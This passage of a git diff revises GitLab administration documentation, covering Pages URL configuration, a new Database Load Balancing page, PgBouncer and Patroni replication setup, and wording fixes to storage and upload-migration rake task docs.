1. In `/etc/gitlab/gitlab.rb` specify the following configuration:
```ruby
- pages_external_url 'https://example.io'
+ external_url "https://gitlab.example.com" # external_url here is only for reference
+ pages_external_url "https://pages.example.com" # not a subdomain of external_url
pages_nginx['redirect_http_to_https'] = true
```
@@ -256,7 +258,6 @@ control over how the Pages daemon runs and serves content in your environment.
| `pages_path` | The directory on disk where pages are stored, defaults to `GITLAB-RAILS/shared/pages`. |
| **`pages_nginx[]`** | |
| `enable` | Include a virtual host `server{}` block for Pages inside NGINX. Needed for NGINX to proxy traffic back to the Pages daemon. Set to `false` if the Pages daemon should directly receive all requests, for example, when using [custom domains](index.md#custom-domains). |
-| `FF_ENABLE_REDIRECTS` | Feature flag to enable/disable redirects (enabled by default). Read the [redirects documentation](../../user/project/pages/redirects.md#feature-flag-for-redirects) for more information. |
| `FF_ENABLE_PLACEHOLDERS` | Feature flag to enable/disable rewrites (disabled by default). Read the [redirects documentation](../../user/project/pages/redirects.md#feature-flag-for-rewrites) for more information. |
| `use_legacy_storage` | Temporarily-introduced parameter allowing to use legacy domain configuration source and storage. [Removed in 14.3](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6166). |
| `rate_limit_source_ip` | Rate limit per source IP in number of requests per second. Set to `0` to disable this feature. |
@@ -288,7 +289,8 @@ world. Custom domains are supported, but no TLS.
1. In `/etc/gitlab/gitlab.rb` specify the following configuration:
```ruby
- pages_external_url "http://example.io"
+ external_url "http://gitlab.example.com" # external_url here is only for reference
+ pages_external_url "http://pages.example.com" # not a subdomain of external_url
nginx['listen_addresses'] = ['192.0.2.1'] # The primary IP of the GitLab instance
pages_nginx['enable'] = false
gitlab_pages['external_http'] = ['192.0.2.2:80', '[2001:db8::2]:80'] # The secondary IPs for the GitLab Pages daemon
@@ -318,7 +320,8 @@ world. Custom domains and TLS are supported.
1. In `/etc/gitlab/gitlab.rb` specify the following configuration:
```ruby
- pages_external_url "https://example.io"
+ external_url "https://gitlab.example.com" # external_url here is only for reference
+ pages_external_url "https://pages.example.com" # not a subdomain of external_url
nginx['listen_addresses'] = ['192.0.2.1'] # The primary IP of the GitLab instance
pages_nginx['enable'] = false
gitlab_pages['external_http'] = ['192.0.2.2:80', '[2001:db8::2]:80'] # The secondary IPs for the GitLab Pages daemon
@@ -795,7 +798,7 @@ Incorrect configuration of these values may result in intermittent
or persistent errors, or the Pages Daemon serving old content.
NOTE:
-Expiry, interval and timeout flags use [Golang's duration formatting](https://golang.org/pkg/time/#ParseDuration).
+Expiry, interval and timeout flags use [Golang's duration formatting](https://pkg.go.dev/time#ParseDuration).
A duration string is a possibly signed sequence of decimal numbers,
each with optional fraction and a unit suffix, such as `300ms`, `1.5h` or `2h45m`.
Valid time units are `ns`, `us` (or `µs`), `ms`, `s`, `m`, `h`.
@@ -1055,11 +1058,11 @@ Source-IP rate limits are enforced using the following:
gitlab_pages['rate_limit_source_ip_burst'] = 600
```
-1. To reject requests that exceed the specified limits, enable the `FF_ENABLE_RATE_LIMITER` feature flag in
+1. To reject requests that exceed the specified limits, enable the `FF_ENFORCE_IP_RATE_LIMITS` feature flag in
`/etc/gitlab/gitlab.rb`:
```ruby
- gitlab_pages['env'] = {'FF_ENABLE_RATE_LIMITER' => 'true'}
+ gitlab_pages['env'] = {'FF_ENFORCE_IP_RATE_LIMITS' => 'true'}
```
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
@@ -1281,8 +1284,8 @@ in all of your GitLab Pages instances.
### 500 error with `securecookie: failed to generate random iv` and `Failed to save the session`
-This problem most likely results from an [out-dated operating system](../package_information/deprecated_os.md).
-The [Pages daemon uses the `securecookie` library](https://gitlab.com/search?group_id=9970&project_id=734943&repository_ref=master&scope=blobs&search=securecookie&snippets=false) to get random strings via [`crypto/rand` in Go](https://golang.org/pkg/crypto/rand/#pkg-variables).
+This problem most likely results from an [out-dated operating system](../package_information/supported_os.md#os-versions-that-are-no-longer-supported).
+The [Pages daemon uses the `securecookie` library](https://gitlab.com/search?group_id=9970&project_id=734943&repository_ref=master&scope=blobs&search=securecookie&snippets=false) to get random strings via [`crypto/rand` in Go](https://pkg.go.dev/crypto/rand#pkg-variables).
This requires the `getrandom` system call or `/dev/urandom` to be available on the host OS.
Upgrading to an [officially supported operating system](https://about.gitlab.com/install/) is recommended.
diff --git a/doc/administration/pages/source.md b/doc/administration/pages/source.md
index 3a277204d21..45e9dadd1cf 100644
--- a/doc/administration/pages/source.md
+++ b/doc/administration/pages/source.md
@@ -59,9 +59,9 @@ Before proceeding with the Pages configuration, make sure that:
1. You have installed the `zip` and `unzip` packages in the same server that
GitLab is installed since they are needed to compress and decompress the
Pages artifacts.
-1. (Optional) You have a **wildcard certificate** for the Pages domain if you
+1. Optional. You have a **wildcard certificate** for the Pages domain if you
decide to serve Pages (`*.example.io`) under HTTPS.
-1. (Optional but recommended) You have configured and enabled the [shared runners](../../ci/runners/index.md)
+1. Optional but recommended. You have configured and enabled the [shared runners](../../ci/runners/index.md)
so that your users don't have to bring their own.
### DNS configuration
diff --git a/doc/administration/postgresql/database_load_balancing.md b/doc/administration/postgresql/database_load_balancing.md
new file mode 100644
index 00000000000..b83820dd0b6
--- /dev/null
+++ b/doc/administration/postgresql/database_load_balancing.md
@@ -0,0 +1,234 @@
+---
+stage: Enablement
+group: Database
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Database Load Balancing **(FREE SELF)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1283) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.0.
+> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60894) from GitLab Premium to GitLab Free in 14.0.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/334494) for Sidekiq in GitLab 14.1.
+
+With Database Load Balancing, read-only queries can be distributed across
+multiple PostgreSQL nodes to increase performance.
+
+This functionality is provided natively in GitLab Rails and Sidekiq where
+they can be configured to balance their database read queries in a round-robin approach,
+without any external dependencies:
+
+```plantuml
+@startuml
+card "**Internal Load Balancer**" as ilb #9370DB
+skinparam linetype ortho
+
+together {
+ collections "**GitLab Rails** x3" as gitlab #32CD32
+ collections "**Sidekiq** x4" as sidekiq #ff8dd1
+}
+
+collections "**Consul** x3" as consul #e76a9b
+
+card "Database" as database {
+ collections "**PGBouncer x3**\n//Consul//" as pgbouncer #4EA7FF
+
+ card "**PostgreSQL** //Primary//\n//Patroni//\n//PgBouncer//\n//Consul//" as postgres_primary #4EA7FF
+ collections "**PostgreSQL** //Secondary// **x2**\n//Patroni//\n//PgBouncer//\n//Consul//" as postgres_secondary #4EA7FF
+
+ pgbouncer -[#4EA7FF]-> postgres_primary
+ postgres_primary .[#4EA7FF]r-> postgres_secondary
+}
+
+gitlab -[#32CD32]-> ilb
+gitlab -[hidden]-> pgbouncer
+gitlab .[#32CD32,norank]-> postgres_primary
+gitlab .[#32CD32,norank]-> postgres_secondary
+
+sidekiq -[#ff8dd1]-> ilb
+sidekiq -[hidden]-> pgbouncer
+sidekiq .[#ff8dd1,norank]-> postgres_primary
+sidekiq .[#ff8dd1,norank]-> postgres_secondary
+
+ilb -[#9370DB]-> pgbouncer
+
+consul -[#e76a9b]r-> pgbouncer
+consul .[#e76a9b,norank]r-> postgres_primary
+consul .[#e76a9b,norank]r-> postgres_secondary
+@enduml
+```
+
+## Requirements to enable Database Load Balancing
+
+To enable Database Load Balancing, make sure that:
+
+- The HA PostgreSQL setup has one or more secondary nodes replicating the primary.
+- Each PostgreSQL node is connected with the same credentials and on the same port.
+
+For Omnibus GitLab, you also need PgBouncer configured on each PostgreSQL node to pool
+all load-balanced connections when [configuring a multi-node setup](replication_and_failover.md).
+
+## Configuring Database Load Balancing
+
+Database Load Balancing can be configured in one of two ways:
+
+- (Recommended) [Hosts](#hosts): a list of PostgreSQL hosts.
+- [Service Discovery](#service-discovery): a DNS record that returns a list of PostgreSQL hosts.
+
+### Hosts
+
+To configure a list of hosts, add the `gitlab_rails['db_load_balancing']` setting into the
+`gitlab.rb` file in the GitLab Rails / Sidekiq nodes for each environment you want to balance.
+
+For example, on an environment that has PostgreSQL running on the hosts `host1.example.com`,
+`host2.example.com` and `host3.example.com` and reachable on the same port configured with
+`gitlab_rails['db_port']`:
+
+1. On each GitLab Rails / Sidekiq node, edit `/etc/gitlab/gitlab.rb` and add the following line:
+
+ ```ruby
+ gitlab_rails['db_load_balancing'] = { 'hosts' => ['host1.example.com', 'host2.example.com', `host3.example.com`] }
+ ```
+
+1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+
+### Service Discovery
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5883) in GitLab 11.0.
+
+Service discovery allows GitLab to automatically retrieve a list of PostgreSQL
+hosts to use. It periodically
+checks a DNS A record, using the IPs returned by this record as the addresses
+for the secondaries. For service discovery to work, all you need is a DNS server
+and an A record containing the IP addresses of your secondaries.
+
+When using Omnibus GitLab the provided [Consul](../consul.md) service works as
+a DNS server and returns PostgreSQL addresses via the `postgresql-ha.service.consul`
+record. For example:
+
+1. On each GitLab Rails / Sidekiq node, edit `/etc/gitlab/gitlab.rb` and add the following:
+
+ ```ruby
+ gitlab_rails['db_load_balancing'] = { 'discover' => {
+ 'nameserver' => 'localhost'
+ 'record' => 'postgresql-ha.service.consul'
+ 'record_type' => 'A'
+ 'port' => '8600'
+ 'interval' => '60'
+ 'disconnect_timeout' => '120'
+ }
+ }
+ ```
+
+1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
+| Option | Description | Default |
+|----------------------|---------------------------------------------------------------------------------------------------|-----------|
+| `nameserver` | The nameserver to use for looking up the DNS record. | localhost |
+| `record` | The record to look up. This option is required for service discovery to work. | |
+| `record_type` | Optional record type to look up, this can be either A or SRV (GitLab 12.3 and later) | A |
+| `port` | The port of the nameserver. | 8600 |
+| `interval` | The minimum time in seconds between checking the DNS record. | 60 |
+| `disconnect_timeout` | The time in seconds after which an old connection is closed, after the list of hosts was updated. | 120 |
+| `use_tcp` | Lookup DNS resources using TCP instead of UDP | false |
+
+If `record_type` is set to `SRV`, then GitLab continues to use round-robin algorithm
+and ignores the `weight` and `priority` in the record. Since SRV records usually
+return hostnames instead of IPs, GitLab needs to look for the IPs of returned hostnames
+in the additional section of the SRV response. If no IP is found for a hostname, GitLab
+needs to query the configured `nameserver` for ANY record for each such hostname looking for A or AAAA
+records, eventually dropping this hostname from rotation if it can't resolve its IP.
+
+The `interval` value specifies the _minimum_ time between checks. If the A
+record has a TTL greater than this value, then service discovery honors said
+TTL. For example, if the TTL of the A record is 90 seconds, then service
+discovery waits at least 90 seconds before checking the A record again.
+
+When the list of hosts is updated, it might take a while for the old connections
+to be terminated. The `disconnect_timeout` setting can be used to enforce an
+upper limit on the time it takes to terminate all old database connections.
+
+### Handling Stale Reads **(PREMIUM SELF)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3526) in GitLab 10.3.
+
+To prevent reading from an outdated secondary the load balancer checks if it
+is in sync with the primary. If the data is recent enough, the
+secondary is used, otherwise it is ignored. To reduce the overhead of
+these checks we only perform them at certain intervals.
+
+There are three configuration options that influence this behavior:
+
+| Option | Description | Default |
+|------------------------------|----------------------------------------------------------------------------------------------------------------|------------|
+| `max_replication_difference` | The amount of data (in bytes) a secondary is allowed to lag behind when it hasn't replicated data for a while. | 8 MB |
+| `max_replication_lag_time` | The maximum number of seconds a secondary is allowed to lag behind before we stop using it. | 60 seconds |
+| `replica_check_interval` | The minimum number of seconds we have to wait before checking the status of a secondary. | 60 seconds |
+
+The defaults should be sufficient for most users.
+
+To configure these options with a hosts list, use the following example:
+
+```ruby
+gitlab_rails['db_load_balancing'] = {
+ 'hosts' => ['host1.example.com', 'host2.example.com', `host3.example.com`]
+ 'max_replication_difference' => 16777216 # 16 MB
+ 'max_replication_lag_time' => 30
+ 'replica_check_interval' => 30
+}
+```
+
+## Logging
+
+The load balancer logs various events in
+[`database_load_balancing.log`](../logs.md#database_load_balancinglog), such as
+
+- When a host is marked as offline
+- When a host comes back online
+- When all secondaries are offline
+- When a read is retried on a different host due to a query conflict
+
+The log is structured with each entry a JSON object containing at least:
+
+- An `event` field useful for filtering.
+- A human-readable `message` field.
+- Some event-specific metadata. For example, `db_host`
+- Contextual information that is always logged. For example, `severity` and `time`.
+
+For example:
+
+```json
+{"severity":"INFO","time":"2019-09-02T12:12:01.728Z","correlation_id":"abcdefg","event":"host_online","message":"Host came back online","db_host":"111.222.333.444","db_port":null,"tag":"rails.database_load_balancing","environment":"production","hostname":"web-example-1","fqdn":"gitlab.example.com","path":null,"params":null}
+```
+
+## Implementation Details
+
+### Balancing queries
+
+Read-only `SELECT` queries balance among all the given hosts.
+Everything else (including transactions) executes on the primary.
+Queries such as `SELECT ... FOR UPDATE` are also executed on the primary.
+
+### Prepared statements
+
+Prepared statements don't work well with load balancing and are disabled
+automatically when load balancing is enabled. This shouldn't impact
+response timings.
+
+### Primary sticking
+
+After a write has been performed, GitLab sticks to using the primary for a
+certain period of time, scoped to the user that performed the write. GitLab
+reverts back to using secondaries when they have either caught up, or after 30
+seconds.
+
+### Failover handling
+
+In the event of a failover or an unresponsive database, the load balancer
+tries to use the next available host. If no secondaries are available the
+operation is performed on the primary instead.
+
+If a connection error occurs while writing data, the
+operation retries up to 3 times using an exponential back-off.
+
+When using load balancing, you should be able to safely restart a database server
+without it immediately leading to errors being presented to the users.
diff --git a/doc/administration/postgresql/img/pg_ha_architecture.png b/doc/administration/postgresql/img/pg_ha_architecture.png
deleted file mode 100644
index 5d2a4a584bf..00000000000
--- a/doc/administration/postgresql/img/pg_ha_architecture.png
+++ /dev/null
Binary files differ
diff --git a/doc/administration/postgresql/pgbouncer.md b/doc/administration/postgresql/pgbouncer.md
index e5fef61540a..a666c1fab95 100644
--- a/doc/administration/postgresql/pgbouncer.md
+++ b/doc/administration/postgresql/pgbouncer.md
@@ -17,7 +17,7 @@ through `/etc/gitlab/gitlab.rb`.
## PgBouncer as part of a fault-tolerant GitLab installation
-This content has been moved to a [new location](replication_and_failover.md#configuring-the-pgbouncer-node).
+This content has been moved to a [new location](replication_and_failover.md#configure-pgbouncer-nodes).
## PgBouncer as part of a non-fault-tolerant GitLab installation
diff --git a/doc/administration/postgresql/replication_and_failover.md b/doc/administration/postgresql/replication_and_failover.md
index 01fe4bf64ba..5777f35bfcf 100644
--- a/doc/administration/postgresql/replication_and_failover.md
+++ b/doc/administration/postgresql/replication_and_failover.md
@@ -19,13 +19,54 @@ replication and failover for GitLab.
## Architecture
The Omnibus GitLab recommended configuration for a PostgreSQL cluster with
-replication and failover requires:
+replication failover requires:
+
+- A minimum of three PostgreSQL nodes.
+- A minimum of three Consul server nodes.
+- A minimum of three PgBouncer nodes that track and handle primary database reads and writes.
+ - An internal load balancer (TCP) to balance requests between the PgBouncer nodes.
+- [Database Load Balancing](database_load_balancing.md) enabled.
+ - A local PgBouncer service configured on each PostgreSQL node. Note that this is separate from the main PgBouncer cluster that tracks the primary.
+
+```plantuml
+@startuml
+card "**Internal Load Balancer**" as ilb #9370DB
+skinparam linetype ortho
+
+together {
+ collections "**GitLab Rails** x3" as gitlab #32CD32
+ collections "**Sidekiq** x4" as sidekiq #ff8dd1
+}
+
+collections "**Consul** x3" as consul #e76a9b
-- A minimum of three database nodes.
-- A minimum of three `Consul` server nodes.
-- A minimum of one `pgbouncer` service node, but it's recommended to have one per database node. An internal load balancer (TCP) is required when there is more than one `pgbouncer` service node.
+card "Database" as database {
+ collections "**PGBouncer x3**\n//Consul//" as pgbouncer #4EA7FF
+
+ card "**PostgreSQL** //Primary//\n//Patroni//\n//PgBouncer//\n//Consul//" as postgres_primary #4EA7FF
+ collections "**PostgreSQL** //Secondary// **x2**\n//Patroni//\n//PgBouncer//\n//Consul//" as postgres_secondary #4EA7FF
+
+ pgbouncer -[#4EA7FF]-> postgres_primary
+ postgres_primary .[#4EA7FF]r-> postgres_secondary
+}
-![PostgreSQL HA Architecture](img/pg_ha_architecture.png)
+gitlab -[#32CD32]-> ilb
+gitlab -[hidden]-> pgbouncer
+gitlab .[#32CD32,norank]-> postgres_primary
+gitlab .[#32CD32,norank]-> postgres_secondary
+
+sidekiq -[#ff8dd1]-> ilb
+sidekiq -[hidden]-> pgbouncer
+sidekiq .[#ff8dd1,norank]-> postgres_primary
+sidekiq .[#ff8dd1,norank]-> postgres_secondary
+
+ilb -[#9370DB]-> pgbouncer
+
+consul -[#e76a9b]r-> pgbouncer
+consul .[#e76a9b,norank]r-> postgres_primary
+consul .[#e76a9b,norank]r-> postgres_secondary
+@enduml
+```
You also need to take into consideration the underlying network topology, making
sure you have redundant connectivity between all Database and GitLab instances
@@ -38,13 +79,14 @@ shipped with Omnibus GitLab, and thus Patroni becomes mandatory for replication
### Database node
-Each database node runs three services:
+Each database node runs four services:
- `PostgreSQL`: The database itself.
- `Patroni`: Communicates with other Patroni services in the cluster and handles failover when issues with the leader server occurs. The failover procedure consists of:
- Selecting a new leader for the cluster.
- Promoting the new node to leader.
- Instructing remaining servers to follow the new leader node.
+- `PgBouncer`: A local pooler for the node. Used for _read_ queries as part of [Database Load Balancing](database_load_balancing.md).
- `Consul` agent: To communicate with Consul cluster which stores the current Patroni state. The agent monitors the status of each node in the database cluster and tracks its health in a service definition on the Consul cluster.
### Consul server node
@@ -62,8 +104,26 @@ Each PgBouncer node runs two services:
Each service in the package comes with a set of [default ports](../package_information/defaults.md#ports). You may need to make specific firewall rules for the connections listed below:
+There are several connection flows in this setup:
+
+- [Primary](#primary)
+- [Database Load Balancing](#database-load-balancing)
+- [Replication](#replication)
+
+#### Primary
+
- Application servers connect to either PgBouncer directly via its [default port](../package_information/defaults.md) or via a configured Internal Load Balancer (TCP) that serves multiple PgBouncers.
-- PgBouncer connects to the primary database servers [PostgreSQL default port](../package_information/defaults.md)
+- PgBouncer connects to the primary database server's [PostgreSQL default port](../package_information/defaults.md).
+
+#### Database Load Balancing
+
+For read queries against data that haven't been recently changed and are up to date on all database nodes:
+
+- Application servers connect to the local PgBouncer service via its [default port](../package_information/defaults.md) on each database node in a round-robin approach.
+- Local PgBouncer connects to the local database server's [PostgreSQL default port](../package_information/defaults.md).
+
+#### Replication
+
- Patroni actively manages the running PostgreSQL processes and configuration.
- PostgreSQL secondaries connect to the primary database servers [PostgreSQL default port](../package_information/defaults.md)
- Consul servers and agents connect to each others [Consul default ports](../package_information/defaults.md)
@@ -203,8 +263,8 @@ repmgr-specific configuration as well. Especially, make sure that you remove `po
Here is an example:
```ruby
-# Disable all components except Patroni and Consul
-roles(['patroni_role'])
+# Disable all components except Patroni, PgBouncer and Consul
+roles(['patroni_role', 'pgbouncer_role'])
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
@@ -245,6 +305,15 @@ patroni['allowlist'] = %w(XXX.XXX.XXX.XXX/YY 127.0.0.1/32)
# Replace XXX.XXX.XXX.XXX/YY with Network Address
postgresql['trust_auth_cidr_addresses'] = %w(XXX.XXX.XXX.XXX/YY 127.0.0.1/32)
+# Local PgBouncer service for Database Load Balancing
+pgbouncer['databases'] = {
+ gitlabhq_production: {
+ host: "127.0.0.1",
+ user: "PGBOUNCER_USERNAME",
+ password: 'PGBOUNCER_PASSWORD_HASH'
+ }
+}
+
# Replace placeholders:
#
# Y.Y.Y.Y consul1.gitlab.example.com Z.Z.Z.Z
@@ -342,7 +411,7 @@ You can use different certificates and keys for both API server and client on di
However, the CA certificate (`patroni['tls_ca_file']`), TLS certificate verification (`patroni['tls_verify']`), and client TLS
authentication mode (`patroni['tls_client_mode']`), must each have the same value on all nodes.
-### Configuring the PgBouncer node
+### Configure PgBouncer nodes
1. Make sure you collect [`CONSUL_SERVER_NODES`](#consul-information), [`CONSUL_PASSWORD_HASH`](#consul-information), and [`PGBOUNCER_PASSWORD_HASH`](#pgbouncer-information) before executing the next step.
@@ -480,6 +549,7 @@ attributes set, but the following need to be set.
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = 'POSTGRESQL_USER_PASSWORD'
gitlab_rails['auto_migrate'] = false
+ gitlab_rails['db_load_balancing'] = { 'hosts' => ['POSTGRESQL_NODE_1', 'POSTGRESQL_NODE_2', 'POSTGRESQL_NODE_3'] }
```
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
@@ -595,8 +665,8 @@ An internal load balancer (TCP) is then required to be setup to serve each PgBou
On database nodes edit `/etc/gitlab/gitlab.rb`:
```ruby
-# Disable all components except Patroni and Consul
-roles(['patroni_role'])
+# Disable all components except Patroni, PgBouncer and Consul
+roles(['patroni_role', 'pgbouncer_role'])
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
@@ -616,6 +686,15 @@ patroni['postgresql']['max_wal_senders'] = 7
patroni['allowlist'] = = %w(10.6.0.0/16 127.0.0.1/32)
postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/16 127.0.0.1/32)
+# Local PgBouncer service for Database Load Balancing
+pgbouncer['databases'] = {
+ gitlabhq_production: {
+ host: "127.0.0.1",
+ user: "pgbouncer",
+ password: '771a8625958a529132abe6f1a4acb19c'
+ }
+}
+
# Configure the Consul agent
consul['services'] = %w(postgresql)
consul['configuration'] = {
@@ -650,115 +729,6 @@ After deploying the configuration follow these steps:
gitlab-rake gitlab:db:configure
```
-### Example minimal setup
-
-This example uses 3 PostgreSQL servers, and 1 application node (with PgBouncer setup alongside).
-
-It differs from the [recommended setup](#example-recommended-setup) by moving the Consul servers into the same servers we use for PostgreSQL.
-The trade-off is between reducing server counts, against the increased operational complexity of needing to deal with PostgreSQL [failover](#manual-failover-procedure-for-patroni) procedures in addition to [Consul outage recovery](../consul.md#outage-recovery) on the same set of machines.
-
-In this example, we start with all servers on the same 10.6.0.0/16 private network range; they can connect to each freely other on those addresses.
-
-Here is a list and description of each machine and the assigned IP:
-
-- `10.6.0.21`: PostgreSQL 1
-- `10.6.0.22`: PostgreSQL 2
-- `10.6.0.23`: PostgreSQL 3
-- `10.6.0.31`: GitLab application
-
-All passwords are set to `toomanysecrets`. Please do not use this password or derived hashes.
-
-The `external_url` for GitLab is `http://gitlab.example.com`
-
-After the initial configuration, if a failover occurs, the PostgresSQL leader node changes to one of the available secondaries until it is failed back.
-
-#### Example minimal configuration for database servers
-
-On database nodes edit `/etc/gitlab/gitlab.rb`:
-
-```ruby
-# Disable all components except Patroni and Consul
-roles(['patroni_role'])
-
-# PostgreSQL configuration
-postgresql['listen_address'] = '0.0.0.0'
-postgresql['hot_standby'] = 'on'
-postgresql['wal_level'] = 'replica'
-
-# Disable automatic database migrations
-gitlab_rails['auto_migrate'] = false
-
-# Configure the Consul agent
-consul['services'] = %w(postgresql)
-
-postgresql['pgbouncer_user_password'] = '771a8625958a529132abe6f1a4acb19c'
-postgresql['sql_user_password'] = '450409b85a0223a214b5fb1484f34d0f'
-
-# Sets `max_replication_slots` to double the number of database nodes.
-# Patroni uses one extra slot per node when initiating the replication.
-patroni['postgresql']['max_replication_slots'] = 6
-
-patroni['username'] = 'PATRONI_API_USERNAME'
-patroni['password'] = 'PATRONI_API_PASSWORD'
-
-# Set `max_wal_senders` to one more than the number of replication slots in the cluster.
-# This is used to prevent replication from using up all of the
-# available database connections.
-patroni['postgresql']['max_wal_senders'] = 7
-
-patroni['allowlist'] = = %w(10.6.0.0/16 127.0.0.1/32)
-postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/16 127.0.0.1/32)
-
-consul['configuration'] = {
- server: true,
- retry_join: %w(10.6.0.21 10.6.0.22 10.6.0.23)
-}
-```
-
-[Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-
-#### Example minimal configuration for application server
-
-On the server edit `/etc/gitlab/gitlab.rb`:
-
-```ruby
-external_url 'http://gitlab.example.com'
-
-gitlab_rails['db_host'] = '127.0.0.1'
-gitlab_rails['db_port'] = 6432
-gitlab_rails['db_password'] = 'toomanysecrets'
-gitlab_rails['auto_migrate'] = false
-
-postgresql['enable'] = false
-pgbouncer['enable'] = true
-consul['enable'] = true
-
-# Configure PgBouncer
-pgbouncer['admin_users'] = %w(pgbouncer gitlab-consul)
-
-# Configure Consul agent
-consul['watchers'] = %w(postgresql)
-
-pgbouncer['users'] = {
- 'gitlab-consul': {
- password: '5e0e3263571e3704ad655076301d6ebe'
- },
- 'pgbouncer': {
- password: '771a8625958a529132abe6f1a4acb19c'
- }
-}
-
-consul['configuration'] = {
- retry_join: %w(10.6.0.21 10.6.0.22 10.6.0.23)
-}
-```
-
-[Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-
-#### Example minimal setup manual steps
-
-The manual steps for this configuration are the same as for the [example recommended setup](#example-recommended-setup-manual-steps).
-
## Patroni
NOTE:
@@ -791,7 +761,7 @@ Run `gitlab-ctl patroni members` to query Patroni for a summary of the cluster s
To verify the status of replication:
```shell
-echo 'select * from pg_stat_wal_receiver\x\g\x \n select * from pg_stat_replication\x\g\x' | gitlab-psql
+echo -e 'select * from pg_stat_wal_receiver\x\g\x \n select * from pg_stat_replication\x\g\x' | gitlab-psql
```
The same command can be run on all three database servers. It returns any information
@@ -1047,7 +1017,7 @@ Here are a few key facts that you must consider before upgrading PostgreSQL:
configured replication method (`pg_basebackup` is the only available option). It might take some
time for replica to catch up with the leader, depending on the size of your database.
-- An overview of the upgrade procedure is outlined in [Patoni's documentation](https://patroni.readthedocs.io/en/latest/existing_data.html#major-upgrade-of-postgresql-version).
+- An overview of the upgrade procedure is outlined in [Patroni's documentation](https://patroni.readthedocs.io/en/latest/existing_data.html#major-upgrade-of-postgresql-version).
You can still use `gitlab-ctl pg-upgrade` which implements this procedure with a few adjustments.
Considering these, you should carefully plan your PostgreSQL upgrade:
diff --git a/doc/administration/raketasks/maintenance.md b/doc/administration/raketasks/maintenance.md
index d770361864e..950b508ab0c 100644
--- a/doc/administration/raketasks/maintenance.md
+++ b/doc/administration/raketasks/maintenance.md
@@ -268,7 +268,7 @@ sudo -u git -H bundle exec rake gitlab:tcp_check[example.com,80] RAILS_ENV=produ
GitLab uses a shared lock mechanism: `ExclusiveLease` to prevent simultaneous operations
in a shared resource. An example is running periodic garbage collection on repositories.
-In very specific situations, a operation locked by an Exclusive Lease can fail without
+In very specific situations, an operation locked by an Exclusive Lease can fail without
releasing the lock. If you can't wait for it to expire, you can run this task to manually
clear it.
diff --git a/doc/administration/raketasks/storage.md b/doc/administration/raketasks/storage.md
index 017565e1b39..912cf260a03 100644
--- a/doc/administration/raketasks/storage.md
+++ b/doc/administration/raketasks/storage.md
@@ -13,7 +13,7 @@ uses to organize the Git data.
## List projects and attachments
-The following Rake tasks will list the projects and attachments that are
+The following Rake tasks lists the projects and attachments that are
available on legacy and hashed storage.
### On legacy storage
@@ -82,8 +82,8 @@ GitLab 14.0 eliminates support for legacy storage. If you're on GitLab
The option to choose between hashed and legacy storage in the admin area has
been disabled.
-This task must be run on any machine that has Rails/Sidekiq configured and will
-schedule all your existing projects and attachments associated with it to be
+This task must be run on any machine that has Rails/Sidekiq configured, and the task
+schedules all your existing projects and attachments associated with it to be
migrated to the **Hashed** storage type:
- **Omnibus installation**
@@ -112,7 +112,7 @@ To monitor the progress in GitLab:
1. On the top bar, select **Menu > Admin**.
1. On the left sidebar, select **Monitoring > Background Jobs**.
1. Watch how long the `hashed_storage:hashed_storage_project_migrate` queue
- will take to finish. After it reaches zero, you can confirm every project
+ takes to finish. After it reaches zero, you can confirm every project
has been migrated by running the commands above.
If you find it necessary, you can run the previous migration script again to schedule missing projects.
@@ -160,12 +160,12 @@ sudo gitlab-rake gitlab:storage:rollback_to_legacy ID_FROM=50 ID_TO=100
```
You can monitor the progress in the **Admin Area > Monitoring > Background Jobs** page.
-On the **Queues** tab, you can watch the `hashed_storage:hashed_storage_project_rollback` queue to see how long the process will take to finish.
+On the **Queues** tab, you can watch the `hashed_storage:hashed_storage_project_rollback` queue to see how long the process takes to finish.
After it reaches zero, you can confirm every project has been rolled back by running the commands above.
If some projects weren't rolled back, you can run this rollback script again to schedule further rollbacks.
Any error or warning is logged in Sidekiq's log file.
-If you have a Geo setup, the rollback will not be reflected automatically
+If you have a Geo setup, the rollback is not reflected automatically
on the **secondary** node. You may need to wait for a backfill operation to kick-in and remove
the remaining repositories from the special `@hashed/` folder manually.
diff --git a/doc/administration/raketasks/uploads/migrate.md b/doc/administration/raketasks/uploads/migrate.md
index 0628e351b63..aec75f0b302 100644
--- a/doc/administration/raketasks/uploads/migrate.md
+++ b/doc/administration/raketasks/uploads/migrate.md
@@ -42,6 +42,28 @@ gitlab-rake "gitlab:uploads:migrate:all"
sudo RAILS_ENV=production -u git -H bundle exec rake gitlab:uploads:migrate:all
```
+You can optionally track progress and verify that all packages migrated successfully using the
+[PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database):
+
+- `sudo gitlab-rails dbconsole` for Omnibus GitLab instances.
+- `sudo -u git -H psql -d gitlabhq_production` for source-installed instances.
+
+Verify `objectstg` below (where `store=2`) has count of all artifacts:
+
+```shell
+gitlabhq_production=# SELECT count(*) AS total, sum(case when store = '1' then 1 else 0 end) AS filesystem, sum(case when store = '2' then 1 else 0 end) AS objectstg FROM uploads;
+
+total | filesystem | objectstg
+------+------------+-----------
+ 2409 | 0 | 2409
+```
+
+Verify that there are no files on disk in the `uploads` folder:
+
+```shell
